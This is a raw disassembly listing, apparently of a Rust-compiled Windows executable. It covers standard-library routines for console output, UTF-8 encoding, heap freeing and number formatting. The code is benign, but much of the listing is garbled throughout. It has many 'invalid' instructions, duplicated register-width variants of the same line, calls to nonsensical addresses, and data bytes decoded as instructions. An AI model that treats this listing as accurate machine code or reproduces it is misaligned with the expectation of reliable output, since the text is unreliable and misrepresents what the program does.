add byte [rax - 0x33333ca3], dl
int3
int3
int3
int3
sub rsp, 0x40
sub esp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
invalid
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
mov rax, qword [rcx]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb case.0x14001a3ad.2910
test rcx, rcx
test ecx, ecx
jne 0x1400d33af
add rsp, 0x40
pop rbp
ret
lea rcx, [rax - 1]
lea ecx, [rax - 1]
dec qword [rax - 0x77]
mov qword [rbp - 0x20], rcx
mov rcx, qword [rax - 1]
invalid
invalid
loopne 0x1400d3400
mov ecx, dword [rax - 1]
dec qword [rax - 0x75]
mov rax, qword [rax + 7]
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
invalid
mov dword [rbp - 0x10], ecx
invalid
mov qword [rbp - 0x18], rax
call qword [rax]
call 0xcb5544ca
call 0x14885b719
invalid
invalid
js case.0x14001a3ad.2923
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x1400d33f8
add byte [rsp + 0x48], dh
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae case.0x14001a3ad.2926
mov r8, qword [rbp - 0x10]
jmp case.0x14001a3ad.2927
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
out dx, al
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
inc dword [rbx]
invalid
sar bh, cl
adc eax, 0x3ff68
inc dword [rbx]
invalid
inc dword [rbx]
add byte [rax - 0x75], cl
mov ecx, dword [0x140182260]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or al, byte [rax]
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
loopne 0x1400d344e
invalid
mov r8, qword [rbp - 0x20]
add rsp, 0x40
add esp, 0x40
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
inc qword [r11]
invalid
inc qword [r11]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x10], edx
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x1400d3463
mov rax, qword [rbp - 0x18]
cmp qword [rax + 0x10], 0x11
jb 0x1400d3450
mov rax, qword [rbp - 0x10]
mov rax, qword [rax - 8]
mov qword [rbp - 0x10], rax
invalid
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp - 0x20]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbp
ret
clc
call fcn.1400d3380
invalid
invalid
dec dword [rax - 0x75]
invalid
invalid
invalid
dec dword [rax - 0x75]
invalid
mov eax, dword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
test rax, rax
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
invalid
pop rsi
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
cmp byte [rsi + 0x5d], bl
pop rbp
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x30
sub byte [rax - 0x73], cl
push 0x30
lea ebp, [rdx + 0x30]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
clc
invalid
clc
mov qword [rcx], rax
add rsp, 0x28
sub byte [rsi + 0x5d], bl
add dword [rax - 0x7d], ecx
invalid
sub byte [rsi + 0x5d], bl
ret
int3
int3
int3
int3
push rsi
sub rsp, 0x48
lea rbp, [rsp + 0x40]
lea rbp, [rsp + 0x40]
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
invalid
mov dword [rbp - 4], 0
add r14b, r15b
invalid
invalid
invalid
cmp edx, 0x80
add byte [rax], al
jae 0x1400d3563
mov byte [rbp - 4], dl
mov r8d, 1
mov eax, 1
mov eax, 1
add cl, ch
add dword [rax], 0xd0890000
add byte [rax], al
mov eax, edx
jmp case.0x14001a3ad.3032
add byte [rax], al
mov eax, edx
cmp edx, 0x800
add byte [rax], al
jae 0x1400d3586
shr eax, 6
or al, 0xc0
invalid
mov byte [rbp - 4], al
ror byte [rax - 0x1d7f03bb], 0x3f
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 3], dl
push rbp
std
retf 0x8880
push rbp
std
mov r8d, 2
jmp case.0x14001a3ad.3032
pop rsi
add byte [rax], al
add bl, ch
pop rsi
cmp edx, 0xffff
inc dword [rax]
add byte [rdi + 0x25], dh
ja 0x1400d35b3
ja 0x1400d35b3
and eax, 0xc0ce8c1
loopne 0x1400d351c
shr eax, 0xc
or al, 0xe0
mov byte [rbp - 4], al
cld
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
and dl, 0x3f
or dl, 0x80
retf 0x8880
push rbp
inc byte [rcx - 0x48]
add eax, dword [rax]
add byte [rax], al
jmp case.0x14001a3ad.3032
retf 0x8880
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rbp - 4], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
mov eax, edx
shr eax, 6
call 0x14c4c59d7
or byte [rax - 0x1d7f01bb], 0x3f
call 0x14c4c59d7
or byte [rax - 0x1d7f01bb], 0x3f
or dl, 0x80
mov byte [rbp - 1], dl
mov r8d, 4
mov rcx, qword [rsi]
lea rdx, [rbp - 4]
lea edx, [rbp - 4]
lea edx, [rbp - 4]
call fcn.1400d3680
nop
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
je case.0x14001a3ad.3077
invalid
mov qword [rbp - 0x18], rax
lea rax, [rsi + 8]
test rax, rax
je case.0x14001a3ad.3077
invalid
invalid
mov qword [rbp - 0x18], rax
lea rax, [rsi + 8]
mov qword [rbp - 0x10], rax
cmp qword [rsi + 8], 0
je 0x1400d3611
mov rcx, qword [rbp - 0x10]
call fcn.1400d3380
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
invalid
mov qword [rcx], rax
invalid
test rax, rax
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
invalid
pop rsi
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
invalid
pop rsi
invalid
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
adc byte [rbp + 0x56], dl
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
mov dword [rcx], eax
mov dword [rcx], eax
add rsp, 0x28
pop rsi
pop rbp
ret
mov ecx, 0xfffffff4
mov rdx, rdi
mov r8, rsi
mov r9, rbx
call 0x1400d3770
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
test rax, rax
je 0x1400d3710
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
add al, 0x84
add al, 0x84
add rax, r12
jmp rax
test rdx, rdx
je 0x1400d3752
sal byte [rbp + rdi + 0x48], cl
mov eax, esi
mov rax, rsi
sub rax, rdx
jb 0x1400d3757
add rdi, rdx
mov rsi, rax
test rsi, rsi
jne 0x1400d36d3
jmp 0x1400d373e
clc
and esi, dword [rdx + rcx*4 - 0x15]
add dh, byte [rcx]
ror byte [rax - 0x77], cl
ror byte [rax - 0x7d], 1
invalid
xor edx, edx
mov rax, rdx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov rdx, r15
cli
jmp 0x1400d3740
lea r8, [0x14014a2b0]
lea eax, [0x14014a2b0]
invalid
mov rcx, rdx
mov rdx, rsi
call fcn.1401085a0
ror dword [rax - 0x77], 1
bnd call fcn.1401085a0
int3
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0xd0
lea rbp, [rsp + 0x80]
add byte [rax - 0x39], cl
invalid
invalid
invalid
invalid
invalid
dec dword [rbp - 0x7b]
invalid
add byte [rax - 0x39], cl
invalid
invalid
dec dword [rbp - 0x7b]
sal byte [rcx + rdi + 0x4c], 0x89
je 0x1400d37cb
invalid
invalid
je 0x1400d37cb
mov rsi, r9
mov rbx, r8
invalid
mov rdi, rdx
call qword [sym.imp.kernel32.dll_GetStdHandle]
adc eax, 0x3faaf
adc eax, 0x3faaf
add byte [rcx - 0x77], cl
invalid
mov r14, rax
mov eax, 1
test r14, r14
je 0x1400d37d1
cmp r14, 0xffffffffffffffff
jne 0x1400d37e9
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
jmp 0x1400d37db
xor edx, edx
xor eax, eax
jmp 0x1400d37db
movabs rdx, 0x600000002
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov dword [rbp - 0x20], 0
lea rdx, [rbp - 0x20]
mov rcx, r14
call qword [sym.imp.kernel32.dll_GetConsoleMode]
test eax, eax
je 0x1400d38c1
movzx ecx, byte [rsi + 4]
test rcx, rcx
je 0x1400d3935
cmp cl, 4
jae 0x1400d39f4
movzx edx, byte [rdi]
mov eax, edx
and al, 0xc0
cmp al, 0x80
mov eax, 1
jne 0x1400d398c
mov byte [rsi + rcx], dl
movzx eax, byte [rsi + 4]
inc al
mov byte [rsi + 4], al
movzx ecx, byte [rsi]
lea rdx, [0x14014b340]
movzx edi, byte [rcx + rdx]
mov qword [rbp - 0x28], rdi
cmp al, dil
jb 0x1400d39d7
movzx r8d, al
cmp al, 5
jae 0x1400d3a7a
lea rcx, [rbp + 0x20]
mov rdx, rsi
call fcn.140014300
mov byte [rsi + 4], 0
cmp qword [rbp + 0x20], 0
jne 0x1400d39e3
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x10], rax
cmp rax, rdi
jne 0x1400d3ad6
mov rcx, r14
mov r8, rdi
call fcn.1400d3b50
test rax, rax
jne 0x1400d37db
mov qword [rbp + 0x40], rdx
mov qword [rbp + 0x10], rdi
cmp rdi, rdx
jne 0x1400d3af6
mov edx, 1
jmp 0x1400d37db
movups xmm0, xmmword [0x14014b158]
movaps xmmword [rbp + 0x20], xmm0
mov eax, 0xffffffff
cmp rbx, rax
cmovb rax, rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdi
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov rcx, r14
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1400d3926
mov rcx, r14
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp + 0x20]
cmp eax, 0x103
je 0x1400d3a26
test eax, eax
js 0x1400d399c
mov rdx, qword [rbp + 0x28]
xor eax, eax
jmp 0x1400d37db
cmp rbx, 0x1000
mov r8d, 0x1000
cmovb r8, rbx
lea rcx, [rbp + 0x20]
mov rdx, rdi
call fcn.140014300
cmp qword [rbp + 0x20], 0
je 0x1400d39a9
mov r8, qword [rbp + 0x28]
test r8, r8
je 0x1400d39be
cmp r8, rbx
ja 0x1400d3a91
lea rcx, [rbp - 0x20]
mov rdx, rdi
call fcn.140014300
cmp qword [rbp - 0x20], 0
jne 0x1400d3aa6
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 0x10]
jmp 0x1400d39b1
mov byte [rsi + 4], 0
lea rdx, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
jmp 0x1400d37db
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
jmp 0x1400d37ba
mov rdx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x30]
mov rcx, r14
call fcn.1400d3b50
jmp 0x1400d37db
movzx eax, byte [rdi]
lea rcx, [0x14014b340]
movzx ecx, byte [rax + rcx]
cmp rcx, rbx
jbe 0x1400d39e3
mov byte [rsi], al
mov byte [rsi + 4], 1
mov edx, 1
xor eax, eax
jmp 0x1400d37db
mov eax, 1
lea rdx, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
jmp 0x1400d37db
lea rax, str.Unexpected_number_of_bytes_for_incomplete_UTF_8_codepoint.
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
mov qword [rbp - 0x10], 8
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rdx, str.library_std_src_syspalwindows_stdio.rs
lea rcx, [rbp - 0x20]
call fcn.140108560
mov qword [rbp - 0x30], r14
mov dword [rbp + 0x40], 0
mov byte [rbp + 0x44], 0
lea rax, [0x14014b1c0]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rax, [rbp - 0x28]
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rcx, [rbp + 0x40]
lea rdx, [rbp - 0x20]
call fcn.1400d32c0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.1400d3360
mov ecx, 7
int 0x29
ud2
lea rax, str.library_std_src_syspalwindows_stdio.rs
mov edx, 4
mov rcx, r8
mov r8, rax
call fcn.140108620
lea rax, str.library_std_src_syspalwindows_stdio.rs
mov rcx, r8
mov rdx, rbx
mov r8, rax
call fcn.140108620
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x10], xmm0
lea rax, str.library_std_src_syspalwindows_stdio.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140149568]
lea r8, [rbp + 0x10]
mov edx, 0x2b
call fcn.1401088e0
mov qword [rbp - 0x20], 0
lea r9, str.library_std_src_syspalwindows_stdio.rs
lea rcx, [rbp - 0x28]
lea rdx, [rbp + 0x10]
lea r8, [rbp - 0x20]
call fcn.1401101e0
mov qword [rbp - 0x20], 0
lea r9, str.library_std_src_syspalwindows_stdio.rs
lea rcx, [rbp + 0x40]
lea rdx, [rbp + 0x10]
lea r8, [rbp - 0x20]
call fcn.1401101e0
int3
jne 0x1400d3cbb
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
add byte [rax - 0x3f], cl
loopne 0x1400d3cb9
or rax, 2
mov qword [rbp + 0x1fb8], 1
lea rcx, [rbp + 0x1fc0]
mov qword [rbp + 0x1fc0], rax
rcr byte [rdi], 0
add al, ch
invalid
idiv bh
invalid
rcr byte [rdi], 0
add al, ch
invalid
invalid
cmp rdi, rbx
ja 0x1400d3dc1
test rdi, rdi
je 0x1400d3d45
add rdi, rdi
xor eax, eax
xor esi, esi
jmp 0x1400d3cec
add rsi, rdx
add rax, 2
cmp rdi, rax
je case.0x14002a2ab.2137
movzx ecx, word [rbp + rax - 0x48]
mov edx, 1
cmp ecx, 0x80
jb 0x1400d3ce0
movzx r8d, cx
mov edx, 2
cmp r8d, 0x800
jb 0x1400d3ce0
add ecx, 0x2312
movzx ecx, cx
xor edx, edx
cmp ecx, 0x312
setae dl
lea rdx, [rdx*2 + 1]
jmp 0x1400d3ce0
invalid
invalid
xor esi, esi
xor eax, eax
mov rdx, rsi
add rsp, 0x2070
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea r8, str.library_std_src_syspalwindows_stdio.rs
mov rcx, rdi
mov rdx, rbx
call fcn.1401085b0
lea rax, str.Unexpected_error_in_MultiByteToWideChar
mov qword [rbp + 0x1fb8], rax
mov qword [rbp + 0x1fc0], 1
mov qword [rbp + 0x1fc8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x1fd0], xmm0
lea rdx, str.library_std_src_syspalwindows_stdio.rs
add byte [rax - 0x73], cl
lea edi, [rax - 0x17ffffe1]
mov bl, 0x47
add eax, dword [rax]
add byte [rax - 0x73], cl
lea edi, [rax - 0x17ffffe1]
mov bl, 0x47
add eax, dword [rax]
lea r8, str.library_std_src_syspalwindows_stdio.rs
mov edx, 0x1000
mov rcx, rbx
call fcn.140108620
add byte [rax - 0x77], cl
fld1
pop rdi
add rax, qword [rax]
lea r8, str.library_std_src_syspalwindows_stdio.rs
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call fcn.140108620
add rax, qword [rax]
lea rcx, str.library_std_src_syspalwindows_stdio.rs
lea ecx, [0x14014b588]
invalid
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, rax
mov ecx, eax
mov rdx, r8
xor r8d, r8d
ret 0x3145
mov r9, rsi
call fcn.140108ac0
add ah, cl
add ah, cl
int3
shl dword [rax], 0xf
test dword [rax], esp
add dword [rax], eax
add byte [rcx - 0x77], cl
ror dword [rax - 0x75], 1
or byte [rax + 0x27], bh
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp rcx, 0x2710
invalid
add byte [rax], al
jb 0x1400d3fd6
invalid
invalid
add byte [rcx - 0x45], al
invalid
mov r11d, 0x27
add byte [rax], al
movabs r10, 0x346dc5d63886594b
nop dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, rcx
mul r10
mul edx
mul edx
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
adc ebp, dword [rbx - 0x39]
sub esi, eax
sub esi, eax
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
cld
test byte [rcx - 0x73], 0x43
cld
movzx edi, word [r8 + rdi*2]
cmp al, 0x78
mov word [rbp + r11 - 0x54], di
mov dword [rbp + rbx - 0x54], edi
movzx esi, word [r8 + rsi*2]
mov word [rbp + r11 - 0x52], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja case.0x140031ef2.2413
cmp rdx, 0x63
jbe 0x1400d3ede
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r9
cmp rdx, 0xa
jae 0x1400d3fe8
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x548830ca], al
add eax, 0xc8ff48af
or dl, 0x30
mov byte [rbp + rax - 0x51], dl
dec rax
jmp 0x1400d3ff6
add byte [rax], al
add byte [rax], al
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x1400d3f10
jmp 0x1400d3f98
mov rcx, r9
shr r8, 4
mov r9d, eax
rol dword [rcx - 0x80], 0xe1
cmovne ecx, dword [rbp - 0x72bacfaf]
push rcx
xor byte [rbp - 0x73], al
pop rcx
invalid
cmp r9b, 0xa
cmp cl, 0xa
rol dword [rcx - 0x80], 0xe1
cmovne ecx, dword [rbp - 0x72bacfaf]
push rcx
xor byte [rbp - 0x73], al
push rcx
xor byte [rbp - 0x73], al
pop rcx
invalid
cmp cl, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
rol dword [rax + rcx*4 + 0x54], 1
or eax, 0x498d4cae
lea ecx, [rcx - 1]
rol dword [rax + rcx*4 + 0x54], 1
or eax, 0x498d4cae
lea ecx, [rcx - 1]
cmp rax, 0x10
mov rax, r8
lea ecx, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x1400d3f60
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
add byte [rax], al
sar esi, 0x48
cmp ecx, 0x81
add byte [rax], al
add byte [rax], al
jae case.0x140031ef2.2131
test byte [rax], al
add byte [rax], al
mov eax, 0x81
sub rax, r9
add byte [rcx + rbp - 0x38], cl
add rcx, rbp
add rcx, 0xffffffffffffffb0
add ecx, 0xffffffb0
add ecx, 0xffffffb0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
lea r8, [0x140172d18]
in eax, dx
or dword [rax], eax
and byte [rbp + rcx*4 + 5], cl
in eax, dx
or dword [rax], eax
mov r9d, 2
add byte [rax], al
mov rcx, rdx
mov dl, 1
jmp 0x1400d401c
invalid
sal dword [rdx + 0x4846eb01], 1
mov edx, ecx
mov rdx, rcx
mov rdx, rcx
cmp rdx, 0x63
ja 0x1400d3eb4
invalid
jmp 0x1400d3ede
invalid
movzx edx, word [r8 + rdx*2]
movzx edx, word [rax + rdx*2]
mov word [rbp + rax - 0x52], dx
scasb al, byte [rdi]
add rax, 0xfffffffffffffffe
dec byte [rax - 0x73]
adc al, 0x28
invalid
lea rdx, [rax + rbp]
sub byte [rax - 0x7d], cl
ret 0x41b0
mov al, 0x41
add rdx, 0xffffffffffffffb0
mov r8d, 0x27
add byte [rax], al
invalid
mov al, 0x41
mov eax, 0x27
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x29], cl
sub eax, eax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
sub r8, rax
sub eax, eax
mov qword [rsp + 0x28], r8
and al, 0x28
mov qword [rsp + 0x20], rdx
mov dword [rsp + 0x20], edx
mov r8d, 1
add byte [rax], al
mov dl, 1
add dword [rbp + 0x31], eax
leave
xor r9d, r9d
call fcn.140012de0
mov edi, 0x90fff3ed
call qword [rax - 0x4f3b7eb8]
nop
add rsp, 0xb0
pop rdi
pop rsi
add byte [rax], al
add byte [rdi + 0x5e], bl
pop rbp
ret
lea r8, [0x140115248]
mov edx, 0x80
call fcn.1401085a0
add r8d, dword [r8]
add r8d, dword [r8]
int3
push rdi
sub rsp, 0x40
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
mov rdi, rdx
mov edi, edx
mov rsi, rcx
lea rax, [rcx + 8]
or byte [rax - 0x77], cl
call 0x16057cba6
call 0x16057cba6
invalid
or byte [rax - 0x77], cl
call 0x16057cba6
call 0x16057cba6
call 0x16057cba6
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
mov rax, qword [rdx + 0x28]
lea rdx, str.Utf8Errorvalid_up_toerror_len
mov bh, 0x56
invalid
invalid
sub byte [rax - 0x73], cl
adc eax, 0x756b7
mov bh, 0x56
push rsi
invalid
mov r8d, 9
add byte [rax], al
call qword [rax + 0x18]
mov qword [rbp - 0x10], rdi
invalid
sbb byte [rax - 0x77], cl
jge 0x1400d4066
invalid
invalid
mov byte [rbp - 8], al
mov byte [rbp - 7], 0
lea rax, [0x140149700]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, [0x140149729]
lea rdi, [rbp - 0x10]
lea edi, [rbp - 0x10]
cdq
push rsi
invalid
lea edi, [rbp - 0x10]
jge 0x1400d4084
mov r8d, 0xb
mov eax, 0xb
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov r9, rsi
call fcn.140014510
imul eax, dword [rsp + rsi*8], 0xffffffff
imul eax, dword [rsp + rsi*8], 0xffffffff
lea rax, [0x140149740]
lea eax, [0x140149740]
push rsi
invalid
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, [0x140149734]
lea r9, [rbp - 0x18]
lea ecx, [rbp - 0x18]
push rsi
invalid
lea ecx, [rbp - 0x18]
mov r8d, 9
mov eax, 9
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.140014510
cmp byte [rbp - 7], 0
movzx ecx, byte [rbp - 8]
inc dword [rax + 0xf00f97d]
mov dh, 0x4d
clc
je 0x1400d40fb
mov al, 1
test cl, cl
jne 0x1400d411a
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
test byte [rax + 0x34], 4
xor al, 4
jne 0x1400d4102
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144f49]
mov r8d, 2
jmp 0x1400d4117
test cl, cl
setne al
jmp 0x1400d411a
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014a8ab]
mov r8d, 1
invalid
call qword [rax + 0x18]
nop
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
in al, dx
lea rbp, [rsp + 0x40]
mov rax, qword [rcx]
cmp byte [rax], 0
je 0x1400d41f7
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x45
call 0x16057cc9a
inc rax
inc eax
mov qword [rbp - 0x18], rax
mov rcx, qword [rdx + 0x20]
call 0x16057cc9a
mov r9, qword [rdx + 0x28]
lea rax, [0x14014c74c]
add eax, 0x785ef
add eax, 0x785ef
mov r8d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rsi, rdx
mov esi, edx
mov rdx, rax
ret 0xff41
call qword [r9 + 0x18]
mov qword [rbp - 8], rsi
sbb byte [rax - 0x77], cl
jne 0x1400d4169
clc
mov byte [rbp], al
add byte [rax - 0x39], cl
lock add byte [rax], al
mov qword [rbp - 0x10], 0
add byte [rax], al
add byte [rax], al
mov byte [rbp + 1], 0
lea r8, [0x1401491d8]
add eax, 0x75051
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x18]
call fcn.140016570
mov rcx, qword [rbp - 0x10]
movzx edx, byte [rbp]
test rcx, rcx
je case.0x140018f24.3179
invalid
mov al, 1
add dword [rdx + rdx*8 - 0x74b78b8b], eax
jne 0x1400d41a3
test dl, dl
jne 0x1400d421b
mov rsi, qword [rbp - 8]
cmp rcx, 1
jne 0x1400d41dd
cmp byte [rbp + 1], 0
je 0x1400d41dd
test byte [rsi + 0x34], 4
jne 0x1400d41dd
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov ah, 9
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
mov ah, 9
invalid
sbb byte [rcx - 0x7bfe4f3f], cl
leave
jne 0x1400d421b
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
invalid
sahf
invalid
invalid
sub byte [rax - 0x73], cl
adc eax, 0x79e8c
mov word [rsi - 0x47befff9], ds
add dword [rax], eax
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
jmp 0x1400d421b
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.NoneSome
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x7853e
mov r8d, 4
add rsp, 0x48
invalid
invalid
invalid
pop rsi
pop rbp
jmp rax
invalid
loopne 0x1400d41a3
mov eax, edx
rol byte [rax + rax*8 + 0x48c0950f], 1
add esp, 0x48
test al, al
setne al
ror byte [rdi], 0x95
ror byte [rax - 0x7d], 0xc4
add rsp, 0x48
pop rsi
add rsp, 0x48
pop rsi
pop rbp
ret
int3
int3
int3
push rbp
sub rsp, 0xb0
sub esp, 0xb0
sub esp, 0xb0
lea rbp, [rsp + 0x80]
mov rax, qword [rcx]
mov ecx, dword [rdx + 0x34]
test cl, 0x10
jne 0x1400d4295
invalid
test cl, 0x20
test cl, 0x20
shl dword [rax], 0xf
test dword [rax + rax - 0x49f10000], edx
add byte [rax - 0x7d], cl
clc
jb 0x1400d4374
jne 0x1400d42e8
movzx eax, byte [rax]
cmp rax, 0x64
jb 0x1400d4374
movzx ecx, al
lea r8d, [rcx + rcx*4]
lea r8d, [rcx + r8*8]
shr r8d, 0xc
imul ecx, r8d, 0x64
sub al, cl
movzx eax, al
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [rbp - 0x2b], ax
mov ecx, 0x24
mov eax, r8d
add byte [rcx + rcx*4 - 0x40], al
jmp 0x1400d437d
add byte [rdi], cl
mov dh, 0
movzx eax, byte [rax]
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r9
mov r9d, eax
and r9b, 0xf
shr r8b, 4
call 0x1919a87c5
xor byte [rbp - 0x73], al
pop rcx
push rdi
call 0x1919a87c5
push rcx
xor byte [rbp - 0x73], al
pop rcx
push rdi
cmp r9b, 0xa
movzx r9d, r10b
movzx ecx, dl
stc
or al, byte [rbp + 0xf]
invalid
movzx ecx, dl
mov dh, 0xca
movzx r10d, r11b
mov dh, 0xd3
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
push rsp
or eax, 0x498d4cae
invalid
